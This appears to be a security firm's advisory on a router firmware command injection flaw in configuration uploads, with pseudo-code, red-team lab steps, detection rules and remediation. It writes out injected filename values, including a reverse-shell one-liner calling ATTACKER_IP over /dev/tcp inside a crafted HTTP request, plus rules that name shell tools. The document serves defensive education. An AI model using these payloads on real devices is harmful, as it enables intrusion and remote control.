CVE-2024-21786

Executive Summary

CVE-2024-21786 is a critical OS command injection vulnerability in the web interface configuration upload functionality of MC Technologies MC LR Router firmware version 2.10.5. An authenticated attacker can exploit this flaw by sending a specially crafted HTTP request, leading to arbitrary command execution on the underlying operating system. With a CVSS score of 7.2, this vulnerability poses a significant risk to network integrity and confidentiality. The vendor has not yet released a patch, leaving affected devices exposed to potential compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high privileges required (authenticated access) slightly reduce the attack surface, but once authenticated, the attacker can fully compromise the device.

Deep Dive & Mechanics

The vulnerability resides in the configuration upload functionality of the MC LR Router's web interface. The application fails to properly sanitize user-supplied input during the file upload process. An attacker can craft a malicious configuration file containing OS commands that are injected into a system call (e.g., via system(), exec(), or similar functions). When the router processes the uploaded file, the injected commands are executed with the privileges of the web server (typically root), leading to full device compromise.

The injection likely occurs in parameters such as filenames, file contents, or metadata fields that are passed unsanitized to a shell command. For example, a filename like ;reboot could cause the system to execute cp /tmp/upload/;reboot /config/.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

# Vulnerable pseudo-code
def upload_config(request):
    filename = request.files['config'].filename
    os.system("cp /tmp/upload/" + filename + " /config/")

A patched version would use parameterized commands or input validation:

# Patched pseudo-code
def upload_config(request):
    filename = sanitize_filename(request.files['config'].filename)
    if not is_valid_filename(filename):
        return "Invalid filename"
    subprocess.run(["cp", "/tmp/upload/" + filename, "/config/"], check=True)

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy an MC LR Router with firmware 2.10.5 in an isolated network.
2. Obtain valid credentials (e.g., admin:admin).
3. Use a tool like Burp Suite to intercept and modify the configuration upload request.

Exploitation Steps:

1. Log in to the web interface.
2. Navigate to the configuration upload page.
3. Create a malicious configuration file with a filename containing command injection, e.g., ;id > /tmp/pwned;.
4. Upload the file via a crafted HTTP POST request.
5. Verify command execution by checking the output file or using a reverse shell.

Example Payload:

# Craft a malicious filename
filename=";bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1';"

HTTP Request:

POST /upload_config HTTP/1.1
Host: router_ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="config"; filename=";bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1';"
Content-Type: application/octet-stream

[file content]
------WebKitFormBoundary--

Blue Team

Detection:

• Monitor for unusual filenames in upload requests (e.g., containing semicolons, pipes, or backticks).
• Alert on processes spawned by the web server (e.g., bash, sh, nc, python).
• Use network monitoring to detect reverse shell connections.

Hunting:

• Search logs for HTTP requests to /upload_config with suspicious Content-Disposition headers.
• Check for unexpected files in /tmp/ or /var/ directories.
• Review system logs for command execution events.

Indicators of Compromise (IOCs)

• Network: Outbound connections to unknown IPs on high ports (e.g., 4444, 1337).
• File: Presence of files like /tmp/pwned, /tmp/revshell, or unexpected scripts in /tmp/.
• Process: Running processes like bash, sh, nc, python spawned by the web server user.
• Log: HTTP requests with filenames containing shell metacharacters (e.g., ;, |, `).

Detection Engineering

YARA Rule

rule CVE_2024_21786_OS_Command_Injection {
    meta:
        description = "Detects malicious configuration upload filenames for CVE-2024-21786"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-21786"
    strings:
        $semicolon = ";"
        $pipe = "|"
        $backtick = "`"
        $dollar = "$("
        $cmd1 = "bash"
        $cmd2 = "sh"
        $cmd3 = "nc"
        $cmd4 = "python"
    condition:
        any of ($semicolon, $pipe, $backtick, $dollar) and
        any of ($cmd1, $cmd2, $cmd3, $cmd4)
}

Sigma Rule

title: CVE-2024-21786 OS Command Injection via Config Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with suspicious filenames in config upload
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload_config'
        cs-Content-Disposition|contains:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-21786 OS Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload_config"; http_uri; content:"Content-Disposition"; http_header; pcre:"/(;|\||\`|\$\().*\.(sh|bash|nc|python)/Pi"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable the configuration upload functionality if not required. Restrict access to the web interface to trusted IPs only.
• Workaround: Implement a reverse proxy with input validation to block malicious filenames.
• Long-term: Apply vendor patch when available. Consider replacing the device if no patch is released.
• Monitoring: Enable detailed logging and alerting on the web interface and system commands.

Valters IT
Securing Digital Frontiers